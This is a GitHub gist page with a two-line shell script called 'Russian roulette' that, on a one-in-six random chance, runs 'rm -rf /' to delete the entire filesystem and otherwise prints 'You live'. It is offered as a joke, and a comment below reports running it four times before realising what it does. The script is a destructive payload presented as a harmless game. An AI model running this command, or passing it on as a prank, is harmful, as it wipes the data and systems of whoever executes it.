Instantly share code, notes, and snippets.

Embed
What would you like to do?
Russian roulette ;-)
#!/bin/sh
[ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo “You live”
@kostrse

This comment has been minimized.

kostrse commented Sep 9, 2012

OMG, tried 4 times before figured out that it actually contains rm -rf /
(the first thought was it just prints "win/loose" to screen)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment